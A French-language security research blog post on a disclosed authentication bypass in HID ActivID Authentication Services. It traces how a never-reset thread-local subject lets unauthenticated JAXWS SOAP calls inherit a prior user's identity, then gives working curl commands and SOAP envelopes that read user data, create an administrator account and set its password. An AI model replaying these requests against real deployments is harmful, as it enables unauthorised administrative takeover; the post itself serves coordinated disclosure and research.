Exécuter l'analyseur CodeQL tel quel, sans arguments supplémentaires, va détecter automatiquement le langage de la base de données et exécuter les requêtes par défaut sur la cible, ce qui constitue un bon point de départ. Cependant, nous aimons généralement exécuter des requêtes supplémentaires, telles que celles provenant de GithubSecurityLab, qui permettent d'identifier beaucoup plus de problèmes de sécurité.

Pour ce faire, il faut télécharger les packs appropriés :

$ codeql pack download "codeql/java-all@*"
$ codeql pack download "codeql/java-queries@*"
$ codeql pack download "githubsecuritylab/codeql-java-queries"

Ensuite, afin de lancer les requêtes de sécurité pré-construites qui proviennent des packs que nous venons de télécharger, nous pouvons utiliser les suites de requêtes CodeQL. Le fichier suivant, javasec.qls, est créé :

- queries: .
  from: codeql/java-queries
- queries: '.'
  from: githubsecuritylab/codeql-java-queries
- include:
    kind:
      - problem
      - path-problem
    tags contain: security
- exclude:
    tags contain:
      - debugging
      - audit
      - template
- exclude:
    query path:
      - /testing\/.*/

Enfin, nous lançons la suite de requêtes sur la base de données :

$ codeql database analyze ~/codeql/databases/activid-authentication-services-weblogic-8.5/ --format=sarif-latest -o activid-authentication-services-weblogic-8.5.sarif javasec.qls

Ici, nous sélectionnons le format de sortie SARIF (Static Analysis Results Interchange Format). Comme son nom l'indique, ce format est largement supporté par les outils SAST.

Note : L'analyse de la base de données peut être gourmande en ressources. Vous pouvez ajuster les ressources que vous allouez à CodeQL en utilisant les options --ram et --threads.

Interprétation des résultats

L'extension SARIF Viewer peut ensuite être utilisée pour visualiser les résultats :

SARIF results.

Bien que certains résultats aient semblé prometteurs au départ, après une étape de vérification, la plupart des vulnérabilités signalées ont été qualifiées de faux positifs. Soit parce que nous n'avons trouvé aucun moyen d'atteindre le code mentionné, soit parce que la donnée altérée était assainie avant d'atteindre la fonction dangereuse finale.

Revue manuelle de l'application

Cette partie est généralement très chronophage. Nous n'entrerons pas dans trop de détails ici afin de maintenir la taille de cet article de blog à un niveau raisonnable. Il existe essentiellement deux approches qui peuvent être combinées. La première, l'approche top-down, consiste à suivre toutes les routes qui ont été identifiées lors de la phase de découverte de la surface d'attaque. La seconde, l'approche bottom-up, consiste à rechercher des fonctions ou des schémas vulnérables connus et à essayer d'identifier des chemins qui atteignent ces emplacements, comme nous l'avons fait initialement en utilisant CodeQL. Enfin, les deux approches peuvent être combinées en une approche hybride en rassemblant autant d'informations que possible pour tenter de relier les points d'entrée aux points de sortie, tout en gardant une très bonne compréhension du fonctionnement interne de l'application. Le débogueur peut être d'une grande aide lorsque vous essayez de comprendre comment atteindre une partie spécifique du code.

Nous avons passé beaucoup de temps sur les endpoints /ssp et /idp, car ces deux points d'accès sont intensivement utilisés par les utilisateurs finaux, en particulier lors de l'authentification.

Après avoir passé du temps à examiner le code sans succès, nous avons décidé d'essayer une approche différente et avons commencé à interagir dynamiquement avec tous les endpoints que nous avions détectés jusqu'à présent.

Au cours de notre analyse de la surface d'attaque, nous nous sommes souvenus que nous avions identifié certains endpoints SOAP, mis en évidence par le nom du fichier de configuration Nginx /etc/nginx/include/app/SoapAPI.conf. Cependant, nous n'avions pas réussi à interagir avec ceux-ci jusqu'à présent :

# ...
location ^~ /ac-iasp-backend-jaxws/ {
        proxy_pass https://$upstream;
        limit_except POST {
                deny all;
        }
        if ($request_uri ~* "(?:wsdl|xsd)$") {
                return 404;
        }
        include /etc/nginx/include/soaperrorhandling.conf;
}

Après quelques recherches sur Google, nous avons réalisé que JAXWS signifiait Jakarta XML Web Services.  Il s'agit d'une méthode pour exposer des services SOAP en définissant des classes Java, c'est-à-dire de manière déclarative. Par exemple, le service UserManager est défini comme suit :

File: com/actividentity/service/iasp/backend/bean/UserManagerBean.java
34: @WebService(
35:    name = "UserManager",
36:    serviceName = "UserService",
37:    targetNamespace = "http://jaxws.user.frontend.iasp.service.actividentity.com"
38: )
39: @HandlerChain(
40:    file = "/LoginHandlerChain.xml"
41: )
42: @TransactionAttribute(TransactionAttributeType.NEVER)
43: public class UserManagerBean extends ProcessManager implements UserManagerLocal, UserManagerRemote 

Comme l'indique la documentation, ce décorateur WebService devrait créer un endpoint nommé UserService, et sa documentation WSDL (Web Services Description Language) devrait être accessible à l'adresse /ac-iasp-backend-jaxws/UserService?wsdl. Nous avons donc d'abord modifié la configuration Nginx afin de permettre l'envoi d'autres verbes HTTP que POST, et de donner accès aux URL se terminant par wsdl ou xsd :

location ^~ /ac-iasp-backend-jaxws/ {
        proxy_pass https://$upstream;
        include /etc/nginx/include/soaperrorhandling.conf;
}

L'accès à l'endpoint de documentation SOAP UserService nous donne maintenant le résultat suivant :

Fichier WSDL.

Le fait d'avoir le format WSDL de l'endpoint SOAP nous a permis de lancer l'extension Burp Wsdler, afin d'analyser le WSDL et le XSD référencé et d'obtenir des requêtes HTTP pré-construites :

Extension Burp wsdler.

Les requêtes générées sont loin d'être parfaites, mais l'extension facilite grandement l'ensemble du processus de génération et permet d'interagir facilement avec les endpoints SOAP. Voici un exemple avec l'endpoint UserManager :

Requetes HTTP générées.

À ce stade, seul l'un d'entre nous s'est penché sur cette partie de l'application, et voici ce qui s'est passé :

Diagram.

En effet, sur l'instance de Vincent, la requête suivante a fonctionné :

POST /ac-iasp-backend-jaxws/UserManager  HTTP/1.1
SOAPAction:
Content-Type: text/xml;charset=UTF-8
Host: hid:443
Content-Length: 391

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:jax="http://jaxws.user.frontend.iasp.service.actividentity.com">
   <soapenv:Header/>
   <soapenv:Body>
      <jax:findUserIds>
         <arg0></arg0>
         <!--type: long-->
         <arg1>testu7</arg1>
         <!--type: long-->
      </jax:findUserIds>
   </soapenv:Body>
</soapenv:Envelope>

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 09 Sep 2025 17:49:05 GMT
Content-Type: text/xml; charset=utf-8
Connection: keep-alive
X-ORACLE-DMS-ECID: 9eb94a90-9da2-4982-bc84-65fb42ed1688-0000029f
X-ORACLE-DMS-RID: 0
Content-Length: 953

<?xml version='1.0' encoding='UTF-8'?>
<S:Envelope
        xmlns:S="http://schemas.xmlsoap.org/soap/envelope/">
        <S:Body>
                <ns1:findUserIdsResponse
                        xmlns:ns1="http://jaxws.user.frontend.iasp.service.actividentity.com">
                        <!-- ... -->
                        <return>
                                <id>spl-helpdesk</id>
                                <type>User</type>
                        </return>
                        <return>
                                <id>spl-stp</id>
                                <type>User</type>
                        </return>
                        <return>
                                <id>spl-api</id>
                                <type>User</type>
                        </return>
                        <return>
                                <id>spl-cmsadmin</id>
                                <type>User</type>
                        </return>
                        <return>
                                <id>sys15188351801401656</id>
                                <type>User</type>
                        </return>
                        <return>
                                <id>spl-useradmin</id>
                                <type>User</type>
                        </return>
                </ns1:findUserIdsResponse>
        </S:Body>
</S:Envelope>

Alors que du côté de Pierre, une erreur serveur 503 est obtenue !

Investigation du comportement suspect

Afin d'interagir avec les classes Java internes responsables des opérations métier, l'application ActivID utilise plusieurs EJB qui sont accessibles via HTTP grâce à JAXWS. Comme nous l'avons vu, ces endpoints sont accessibles via /ac-iasp-backend-jaxws/*.

Analyse de l'authentification aux services JAXWS

L'application d'authentification ActivID expose des EJBs via JAXWS en annotant certaines de ses classes avec @WebService.

Par exemple, la classe com.aspace.ftress.interfaces70.ejb.bean.UserManagerBean :

File: com/actividentity/service/iasp/backend/bean/UserManagerBean.java
34: @WebService(
35: name = "UserManager",
36: serviceName = "UserService",
37: targetNamespace = "http://jaxws.user.frontend.iasp.service.actividentity.com" 38: )
39: @HandlerChain(
40: file = "/LoginHandlerChain.xml"
41: )
42: @TransactionAttribute(TransactionAttributeType.NEVER)
43: public class UserManagerBean extends ProcessManager implements UserManagerLocal, UserManagerRemote

Lors de l'accès à l'EJB demandé, JAXWS exécute d'abord la HandlerChain, qui agit comme un middleware avant d'exécuter l'endpoint SOAP. Dans ce cas, la HandlerChain pointe vers le fichier LoginHandlerChain.xml, défini comme suit :

File: ac-iasp-backend.jar::LoginHandlerChain.xml
1: <?xml version="1.0" encoding="UTF-8"?>
2: <jws:handler-chains xmlns:jws="http://java.sun.com/xml/ns/javaee">
3: <!-- Note:  The '*" denotes a wildcard. -->
4:         <jws:handler-chain name="LoginHandlerChain">
5:                 <jws:handler>
6:                         <jws:handler-class>com.actividentity.service.iasp.backend.handler.LoginHandler</jws:handler-class>
7:                 </jws:handler>
8:         </jws:handler-chain>
9: </jws:handler-chains>

Seul un handler est déclaré, com.actividentity.service.iasp.backend.handler.LoginHandler, et il effectue les opérations suivantes :

File: com/actividentity/service/iasp/backend/handler/LoginHandler.java
31: public class LoginHandler implements SOAPHandler<SOAPMessageContext> {
32:    private static Logger logger = LogManager.getInstance().getLogger(LoginHandler.class);
33:    private static final QName subjectName = new QName("mySubjectUri", "mySubjectHeader"); // [A.4]
[...]
39: 
40:    public boolean handleMessage(SOAPMessageContext var1) {
41:       this.readMessage(var1); // [A.1]
42:       return true;
[...]
51: 
52:    private void readMessage(SOAPMessageContext var1) {
53:       logger.debug("LoginHandler: Read SOAP header");
54:       Boolean var2 = (Boolean)var1.get("javax.xml.ws.handler.message.outbound");
55:       if (!var2) {
56:          try {
57:             SOAPMessage var3 = var1.getMessage();
58:             SOAPEnvelope var4 = var3.getSOAPPart().getEnvelope();
59:             SOAPHeader var5 = var4.getHeader();
60:             Iterator var6 = var5.examineAllHeaderElements();
61: 
62:             while (var6.hasNext()) { // [A.2]
63:                SOAPHeaderElement var7 = (SOAPHeaderElement)var6.next();
64:                if (var7.getElementQName().equals(subjectName)) { // [A.3]
65:                   logger.debug("LoginHandler: header found, unmarshall it");
66:                   JAXBElement var8 = jc.createUnmarshaller().unmarshal(var7, MySubject.class); // [A.5]
67:                   var8.getDeclaredType();
68:                   MySubject var9 = (MySubject)var8.getValue(); // [A.6]
69:                   this.setSubject(var9); // [A.7]
70:                  break;
71:                }
72:             }
73:          } catch (Exception var10) {
74:             SubjectHolder.setSubject(null);  // [A.8]
75:             logger.error("LoginHandler: error getting subject in SOAP header", var10);
76:          }

Un tel handler qui implémente l'interface SOAPHandler exécutera la méthode LoginHandler.handleMessage dès réception d'une requête HTTP SOAP. Dans le cas de ce handler, au niveau de [A.1], la méthode readMessage est appelée. Ensuite, à [A.2], le code itère sur les éléments soapenv:header, et recherche une entrée ([A.3]) qui correspond à mySubjectHeader, lequel est défini à [A.4]. Puis, il appelle la méthode com.actividentity.service.iasp.backend.handler.LoginHandler.setSubject à [A.7] avec l'objet subject fourni par l'utilisateur, qui est unmarshalé ([A.5]) puis récupéré en [A.6]. Enfin, si une exception est levée, la méthode LoginHandler.setSubject est appelée avec un Subject nul, et la fonction de l'EJB est ensuite exécuté. La méthode LoginHandler.setSubject est définie comme suit :

File: com/actividentity/service/iasp/backend/handler/LoginHandler.java
080:    private void setSubject(MySubject var1) {
081:       logger.trace("LoginHandler.setSubject: Begin");
082:       Subject var2 = new Subject(); // [B.1]
[...]
092:       ChannelCodePrincipal var11 = new ChannelCodePrincipal(var1.getChannel());
093:       ALSIPrincipal var12 = new ALSIPrincipal(var1.getUserAlsi()); // [B.2]
[…]
100:       var2.getPrincipals().add(var12);  // [B.3]
[...]
106:       logger.trace("LoginHandler.setSubject: End");
107:       SubjectHolder.setSubject(var2); // [B.4]
108:    }

À [B.1], une instance de javax.security.auth.Subject est créée à partir de l'instance MySubject fournie. Ensuite, à [B.2], la valeur ALSI fournie par l'utilisateur est récupérée, puis définie sur l'instance Subject.

Cette valeur ALSI imprévisible est utilisée par l'application comme session stockée côté serveur.

En [B.3], la méthode statique SubjectHolder.setSubject est appelée :

File: com/actividentity/service/iasp/util/security/SubjectHolder.java
01: package com.actividentity.service.iasp.util.security;
02: 
03: import javax.security.auth.Subject;
04: 
05: public class SubjectHolder {
06:    static ThreadLocal<Subject> subject = new ThreadLocal<>(); // [C.2]
07: 
08:    public static Subject getSubject() {
09:       return subject.get();
10:    }
11: 
12:    public static void setSubject(Subject var0) {
13:       subject.set(var0); // [C.1]
14:    }
15: }

En [C.1], l'instance Subject créée est définie sur le champ statique SubjectHolder.subject. Comme indiqué à [C.2], ce champ est défini comme static et est lié au thread qui exécute la requête SOAP.

Ainsi, lors de l'authentification, cette valeur est soit :

  1. Définie par l'utilisateur si une valeur soapenv:Header mySubjectHeader est fournie.
  2. Définie à null si une exception est levée dans la méthode com.actividentity.service.iasp.backend.handler.LoginHandler.readMessage.

Premier cas - Subject et ALSI fournis

Lorsque un mySubjectHeader est fourni, par exemple :

<soapenv:Header>
  <tni:mySubjectHeader>
    <name>ftadmin</name>
    <userAlsi>DacOCAAAAZlShHsUMm7siFbXPNj+LkCnh2IRjemp</userAlsi>
    <!-- [...]  -->
    <channel>CH_DIRECT</channel>
    <domain>MySecurityDomain</domain>
    </tni:mySubjectHeader>
</soapenv:Header>

La trace suivante est obtenue lors de la tentative d'exécution de l'une des méthodes EJB exposées, entraînant une exception com.actividentity.service.iasp.AuthorizationException :

com.actividentity.service.iasp.AuthorizationException
com.aspace.ftress.business.exception.ALSIInvalidException
com.aspace.ftress.business.authentication.AuthenticationManagerBean.validateALSI
com.aspace.ftress.business.authentication.AuthenticationManagerBean.getValidALSISession
com.aspace.ftress.business.authentication.AuthenticationManagerBean.getValidALSISession
com.aspace.ftress.interfaces70.ejb.bean.AbstractFtressBean.getALSISession
com.aspace.ftress.interfaces70.ejb.bean.AuthenticatorManagerBean.createUPAuthenticator
com.actividentity.service.iasp.uiconfbp.action.credential.ImportCredentialActionHandler.importUPCredential
[...]

En effet, l'application tente de reconstruire un nouveau Subject à partir de l'ALSI fourni. Au bout de cette trace, la méthode com.aspace.ftress.business.authentication.AuthenticationManagerBean.validateALSI est appelée avec l'ALSI contrôlé par l'utilisateur (var1) et celui supposé exister dans la base de données (var2) :

File: com/aspace/ftress/business/authentication/AuthenticationManagerBean.java
981:    private AuthenticationManagerBean.SessionValidationResult validateALSI(ALSI var1, ALSISession var2, boolean var3) throws ALSIInvalidException, InternalException {
982:       if (var2 == null) {
983:          String var6 = var1.getAlsi();
984:          throw new ALSIInvalidException(1901L, var6); // [D.1]
985:       } else {
986:          Date var4 = CoreSecurityHelper.getNow();
987:          AuthenticationManagerBean.SessionValidationResult var5 = this.checkIfSessionTimedOut(var2, var1, var4);
988:          if (var3) {
989:             var2.setLastUsed(var4);
990:             var5.setSessionUpdated(true);
991:          }
992: 
993:          return var5;
994:       }
995:    }

Comme aucune session n'a été retournée par la base de données, var2 est égal à null, et une ALSIInvalidException est levée à [D.1], avec la valeur 1901 comme première valeur, correspondant au code d'erreur suivant [E.1] :

File: com/aspace/ftress/business/exception/ALSIInvalidException.java
3: public class ALSIInvalidException extends BusinessException {
4:    public static final long SESSION_INVALID = 1900L;
5:    public static final long SESSION_DOES_NOT_EXIST = 1901L; // [E.1]

Enfin, l'exception ALSIInvalidException est interceptée, et une nouvelle AuthorizationException est créée et retournée à l'utilisateur final.

Second cas - Pas d'ALSI

Lorsque aucun ALSI n'est fourni, le champ statique SubjectHolder.subject reste inchangé au sein du thread actuel, car le LoginHandler ne lève aucune exception en l'absence de header SOAP d'authentification.

Cependant, cette valeur est toujours utilisée pendant le reste de l'exécution. Lors de l'appel de n'importe quelle classe JAXWS, la classe sous-jacente effectue un appel à la fonction héritée com.actividentity.service.iasp.backend.manager.ProcessManager.triggerProcess :

File: com/actividentity/service/iasp/backend/manager/ProcessManager.java
15:    protected BPVariableMap triggerProcess(String var1, BPVariableMap var2) throws Throwable {
16:       var2.put("subject", SubjectHolder.getSubject()); // [F.1]
17:       return this.getDelegate().triggerProcess(var1, var2);
18:    }

Ce design pattern permet de distribuer les appels aux fonctions sous-jacentes, où la chaîne de caractères var1 correspond à la méthode demandée (par exemple, "importCredential") et où var2 représente un dictionnaire contenant les arguments de l'appel à cette méthode.

À [F.1], l'entrée subject est définie avec la valeur stockée par SubjectHolder.subject. Cette dernière est ensuite utilisée afin de vérifier si le sujet dispose des droits nécessaires pour appeler la méthode demandée.

Quelques mécanismes internes

L'utilisateur AT_SYSPKI

Lors de l'accès à l'endpoint /ssp, la trace d'exécution suivante est observée jusqu'à l'appel de SubjectHolder.SetSubject :

com.actividentity.service.iasp.util.security.SubjectHolder.setSubject
com.actividentity.idp.backend.IDASHelper.getAuthenticationPolicyManager
com.actividentity.idp.backend.IDASHelper.access$400
com.actividentity.idp.backend.IDASHelper$6.tryExecute
com.actividentity.idp.backend.IDASHelper$DirecUserAction.execute
com.actividentity.idp.backend.IDASHelper.getAuthenticationPolicy
[...]

La méthode com.actividentity.idp.backend.IDASHelper.getAuthenticationPolicy est définie comme suit, et prend comme premier paramètre le domaine de l'application :

File: com/actividentity/idp/backend/IDASHelper.java
464:    public static AuthenticationPolicy[] getAuthenticationPolicy(String var0) throws Exception {
[...]
472:          var3 = (new IDASHelper.DirecUserAction<AuthenticationPolicy[]>(var0) {
473:             public AuthenticationPolicy[] tryExecute() throws Exception { // [G.1]
474:                AuthenticationPolicy[] var1x = IDASHelper.getAuthenticationPolicyManager(this.subject).findAuthenticationPolicies(var1, 0L, 0L); // [G.3]
475:                if (var1x != null && var1x.length != 0) {
476:                   return var1x;
477:                } else {
478:                   throw new NoSuchAuthenticationPolicyException("No policies found");
479:                }
480:             }
481:          }).execute(); // [G.2]
[...]
487:    }

À [G.1], une fonction in-linée tryExecute est déclarée, laquelle est ensuite exécutée à [G.2]. Cette fonction appellera IDASHelper.getAuthenticationPolicyManager, en utilisant sa propriété subject comme premier paramètre à [G.3].

D'abord, la méthode execute est appelée, et elle est définie comme suit :

File: com/actividentity/idp/backend/IDASHelper.java
1049:    public abstract static class DirecUserAction<T> {
[...]
1059:       public T execute() throws Exception {
1060:          this.subject = SessionMultiPool.acquireSession(this.domain); // [H.1]

En [H.1], la valeur du subject est définie comme étant la valeur de retour de SessionMultiPool#acquireSession, avec le domaine de l'application comme premier paramètre :

File: com/actividentity/idp/backend/sessionpool/SessionMultiPool.java
11: public class SessionMultiPool {
[...]
13:    private static final SessionMultiPool instance;
14:    private Map<String, IaspSubject> theConfigurations = new HashMap<>();
[...]
28:    public static IaspSubject acquireSession(String var0) throws SessionPoolException {
29:       SessionMultiPool var1 = getInstance();
30:       synchronized (var1.theConfigurations) {
31:          IaspSubject var3 = var1.theConfigurations.get(var0); // [I.1]
32:          if (var3 != null && var1.callback.checkSession(var3)) { // [I.2]
33:             return var3; // [I.3]
34:          } else {
35:             log.debug("Creating new direct user session");
36:             var3 = var1.callback.authenticate(var0); // [I.4]
37:             var1.theConfigurations.put(var0, var3); // [I.5]
38:             return var3; // [I.6]
39:          }
40:       }
41:    }

Cette fonction retourne une instance IaspSubject, qui hérite de la classe Subject. Cette instance est stockée dans la hashmap theConfigurations.

Elle est récupérée à [I.1] et retournée à [I.3]. Si aucun IaspSubject n'est stocké à la clé correspondant au domaine ([I.2]), alors une nouvelle instance est créée à [I.4] et stockée dans la map à [I.5]. Cette valeur est retournée à [I.6].

Dans la configuration par défaut de l'application d'authentification ActivID, le subject retourné par l'appel de la fonction callback.authenticate correspond à l'utilisateur AT_SYSPKI :

Utilisateur AT_SYSPKI.

Ainsi, la propriété subject de l'instance DirecUserAction est définie sur celle représentant AT_SYSPKI.

À [G.3], la fonction com.actividentity.idp.backend.IDASHelper.getAuthenticationPolicyManager est appelée :

File: com/actividentity/idp/backend/IDASHelper.java
143:    private static AuthenticationPolicyManager getAuthenticationPolicyManager(IaspSubject var0) throws FactoryException {
144:       logger.trace("Begin getAuthenticationPolicyManager");
145:       AuthenticationPolicyManager var1 = AuthenticationPolicyManagerFactory.getAuthenticationPolicyManager(null);
146:       SubjectHolder.setSubject(var0.getSubject()); // [H.1]
147:       logger.trace("End getAuthenticationPolicyManager");
148:       return var1;
149:    }

À [H.1], la fonction SubjectHolder.setSubject est appelée et définit la valeur de la propriété statique subject de la classe SubjectHolder.

Cette valeur n'est jamais réinitialisée par la suite. Par conséquent, une identité AT_SYSPKI est définie sur le thread.

Authentification des utilisateurs

Lorsqu'un utilisateur s'authentifie sur l'application, par exemple sur la console d'administration située sur /aiconsole, le même schéma d'authentification est observé. Le subject identifiant l'utilisateur est alors défini sur la propriété statique SubjectHolder.subject.

En effet, la trace d'exécution suivante est observée :

com.actividentity.service.iasp.util.security.SubjectHolder.setSubject
com.actividentity.jaas.iasp.authorisation.IASPPolicy.checkAuthorization
com.actividentity.jaas.iasp.authorisation.IASPPolicy.checkGroupFunctionPrivilege
com.actividentity.jaas.iasp.authorisation.IASPPolicy.checkPermission
com.actividentity.iasp.ui.jaas.utils.Authorisation.checkPermission

Une fois authentifié, un appel à SubjectHolder.setSubject est effectué et définit la valeur de la propriété statique subject de la classe SubjectHolder.

Cette valeur n'est jamais réinitialisée par la suite. Par conséquent, l'identité de l'utilisateur qui vient de s'authentifier est définie sur le thread.

Qualification de la vulnérabilité

Étant donné que l'authentification des services JAXWS repose sur la valeur stockée dans la propriété statique SubjectHolder.subject, lorsque aucune d'authentification n'est fournie, il est possible d'obtenir une valeur qui a été définie précédemment.

En d'autres termes, un utilisateur non authentifié peut usurper l'identité d'un utilisateur précédemment connecté. Les actions qu'il sera en mesure d'effectuer dépendront des privilèges de cet utilisateur précédemment authentifié.

Premier scenario : Authentification en tant que AT_SYSPKI

Dans ce premier scénario, aucun utilisateur n'est authentifié sur l'application avant l'attaque.

Premièrement, un appel SOAP getUsers à l'endpoint UserManager, qui nécessite une authentification, est effectué :

$ cat envelope.xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:jax="http://jaxws.user.frontend.iasp.service.actividentity.com" xmlns:tni="mySubjectUri">
   <soapenv:Header/>
   <soapenv:Body>
      <jax:getUsers>
         <arg0>
            <!--type: string-->
            <id>ftadmin</id>
         </arg0>
      </jax:getUsers>
   </soapenv:Body>
</soapenv:Envelope>

$ curl -ks -H "Content-Type: text/xml;charset=UTF-8" --data @envelope.xml https://hid/ac-iasp-backend-jaxws/UserManager -D  - -o /dev/null
HTTP/1.1 500 Internal Server Error
Server: nginx
Date: Fri, 19 Sep 2025 15:01:57 GMT
Content-Type: text/xml; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive

<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="http://schemas.xmlsoap.org/soap/envelope/"><S:Body><ns0:Fault xmlns:ns0="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://www.w3.org/2003/05/soap-envelope"><faultcode>ns0:Server</faultcode><faultstring></faultstring><detail><ns0:ManagementException xmlns:ns0="http://iasp.service.actividentity.com/"><stackTraceElements><className>com.actividentity.service.iasp.backend.bean.UserManagerBean</className><fileName>UserManagerBean.java</fileName>
[...]

Ensuite, plusieurs requêtes sont effectuées vers l'endpoint /ssp en utilisant curl :

$ parallel -j50 'curl -ksL https://hid/ssp -o /dev/null; echo "[i] Request {}"' ::: {1..50}
[i] Request 1
[...]
[i] Request 49

Enfin, un appel SOAP getUsers à l'endpoint UserManager est effectué :

$ curl -ks -H "Content-Type: text/xml;charset=UTF-8" --data @envelope.xml https://hid/ac-iasp-backend-jaxws/UserManager

<?xml version='1.0' encoding='UTF-8'?>
<S:Envelope
    xmlns:S="http://schemas.xmlsoap.org/soap/envelope/">
    <S:Body>
        <ns1:getUsersResponse
            xmlns:ns1="http://jaxws.user.frontend.iasp.service.actividentity.com">
            <return>
                <created>
                    <date>2011-01-01T00:00:00Z</date>
                </created>
                <id
                    xmlns:ns2="http://user.iasp.service.actividentity.com/"
                    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="ns2:userId">
                    <id>ftadmin</id>
                    <type>User</type>
                </id>
                <modified/>
                <state>ENABLED</state>
                <validityEnd/>
                <validityStart/>
                <aliases>
                    <aliasType>UserExternalReference</aliasType>
                    <value>ftadmin</value>
                </aliases>
                <dataSourceId>
                    <id>UR_INTERNAL</id>
                    <type>DataSource</type>
                </dataSourceId>
                <parentGroup>
                    <id>FTADMIN</id>
                    <type>Group</type>
                </parentGroup>
            </return>
        </ns1:getUsersResponse>
    </S:Body>
</S:Envelope>

Les informations de l'utilisateur ftadmin sont récupérées.

Second scenario d'exploitation : Création d'un administrateur

Dans ce deuxième scénario, un compte administrateur est actuellement authentifié sur l'application.

Authentifié en tant que ftadmin sur la console d'administration ActivID



D'abord, l'utilisateur ftadmin s'authentifie sur la console d'administration ActivID :

Authentification avec le ftadmin.

 

Ensuite, le message XML suivant est créé afin d'interagir avec la méthode createUser de l'endpoint UserManager :

$ cat createUser.xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:jax="http://jaxws.user.frontend.iasp.service.actividentity.com">
   <soapenv:Header/>
   <soapenv:Body>
      <jax:createUser>
         <arg0>
            <created>
               <!--type: dateTime-->
               <date>2025-09-29T03:49:45</date>
            </created>
 <id xmlns:ns2="http://user.iasp.service.actividentity.com/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="ns2:userId">
               <!--type: string-->
               <id>synacktivadm</id>
               <!--type: string-->
               <type>User</type>
            </id>
             <!--type: string-->
            <state>ENABLED</state>
            <validityEnd>
               <!--type: dateTime-->
               <date>2033-08-09T02:18:37+02:00</date>
            </validityEnd>
            <validityStart>
               <!--type: dateTime-->
               <date>2012-09-13T15:00:34+02:00</date>
            </validityStart>
            <aliases>
              <aliasType>UserExternalReference</aliasType>
              <value>synacktivadm</value>
            </aliases>
            <dataSourceId>
              <id>UR_INTERNAL</id>
              <type>DataSource</type>
            </dataSourceId>
            <entries key="TITLE" dynamic="false" sensitive="false"><value>synacktivadm</value></entries><entries key="LASTNAME" dynamic="false" sensitive="false"><value>synacktivadm</value></entries><entries key="FIRSTNAME" dynamic="false" sensitive="false"><value>synacktivadm</value></entries><entries key="ATR_EMAIL" dynamic="false" sensitive="false"><value>test3@s1n.fr</value></entries><parentGroup><id>FTADMIN</id><type>Group</type></parentGroup>
            <roleIds>
               <!--type: string-->
               <id>RL_USERADM</id>
               <!--type: string-->
               <type></type>
            </roleIds>
         </arg0>
      </jax:createUser>
   </soapenv:Body>
</soapenv:Envelope>

La commande curl suivante est effectuée :

$ curl -ks -H "Content-Type: text/xml;charset=UTF-8" --data @createUser.xml https://hid/ac-iasp-backend-jaxws/UserManager
<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="http://schemas.xmlsoap.org/soap/envelope/"><S:Body><ns1:createUserResponse xmlns:ns1="http://jaxws.user.frontend.iasp.service.actividentity.com"><return xmlns:ns2="http://user.iasp.service.actividentity.com/" xmlns:ns0="http://iasp.service.actividentity.com/"><id>synacktivadm</id><type>User</type></return></ns1:createUserResponse></S:Body></S:Envelope>

Note : il peut être nécessaire d'envoyer cette requête plusieurs fois, car un thread authentifié doit être atteint.

Enfin, le message XML suivant est créé afin d'interagir avec la méthode importCredential de l'endpoint CredentialManager :

$ cat importUser.xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:jax="http://jaxws.credential.frontend.iasp.service.actividentity.com">
   <soapenv:Header/>
   <soapenv:Body>
      <jax:importCredential>
         <arg0>
            <id>4TRESS:USR:synacktivadm</id>
            <type>UserType</type>
         </arg0>
         <arg1>
            <validityEnd>
               <date>2028-02-14T19:44:14</date>
            </validityEnd>
            <validityStart>
               <date>2018-11-01T06:36:46+01:00</date>
            </validityStart>
         </arg1>
         <arg2 key="credentialField">
            <value>password01</value>
         </arg2>
        <arg2 key="username">
            <value>synacktivadm</value>
         </arg2>
        <arg2 key="expiryThreshold">
            <value>-1</value>
         </arg2>
         <arg3>
            <id>4TRESS:CT:UP:AT:OP_ATCODE</id>
            <type>CredentialProfile</type>
         </arg3>
      </jax:importCredential>
   </soapenv:Body>
</soapenv:Envelope>

Le message est envoyé avec la commande curl suivante :

$ curl -ks -H "Content-Type: text/xml;charset=UTF-8" --data @importUser.xml https://hid/ac-iasp-backend-jaxws/CredentialManager
<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="http://schemas.xmlsoap.org/soap/envelope/"><S:Body><ns1:importCredentialResponse xmlns:ns1="http://jaxws.credential.frontend.iasp.service.actividentity.com" xmlns:ns2="http://jaxws.configuration.frontend.iasp.service.actividentity.com"><return xmlns:ns4="http://credential.iasp.service.actividentity.com/" xmlns:ns3="http://configuration.iasp.service.actividentity.com/" xmlns:ns5="http://lifecycle.iasp.service.actividentity.com/" xmlns:ns0="http://iasp.service.actividentity.com/" xmlns:ns6="http://profile.iasp.service.actividentity.com/"><id>4TRESS:AT:OP_ATCODE:USR:synacktivadm:CT:UP</id><type>Credential</type></return></ns1:importCredentialResponse></S:Body></S:Envelope>
Authentification avec le compte synacktivadm.

L'utilisateur synacktivadm qui vient d'être créé peut alors s'authentifier sur la Console d'Administration ActivID et effectuer des tâches d'administration.

Timeline

Date Description
10.10.2025 Avis de sécurité envoyé à HID Global
17.10.2025 Confirmation du bug
28.10.2025 Publication du correctif FIXS2510005
12.12.2025 Publication de cet article

Conclusion

La découverte de vulnérabilités dans de grandes applications web se résume rarement à une seule méthode d'analyse, et ce cas ne faisait pas exception. Disposer d'un environnement de débogage adéquat et utiliser une approche hybride, en combinant une revue de code ciblée, des tests dynamiques et une analyse CodeQL, nous a permis d'avoir rapidement une vue claire de la cible, de ses points d'entrée et de son architecture.

L'approche utilisée n'est pas la seule façon de découvrir des faiblesses, mais c'est une approche solide, surtout lorsque l'on traite de grandes bases de code dans un temps limité. Si vous souhaitez renforcer vos compétences en audit d'applications web, n'hésitez pas à jeter un œil à notre cours Practical 0 Day web hunting !

Enfin, nous tenons à remercier HID pour leur réactivité et leur communication claire durant l'analyse de la vulnérabilité remontée et la mise en place d'un correctif.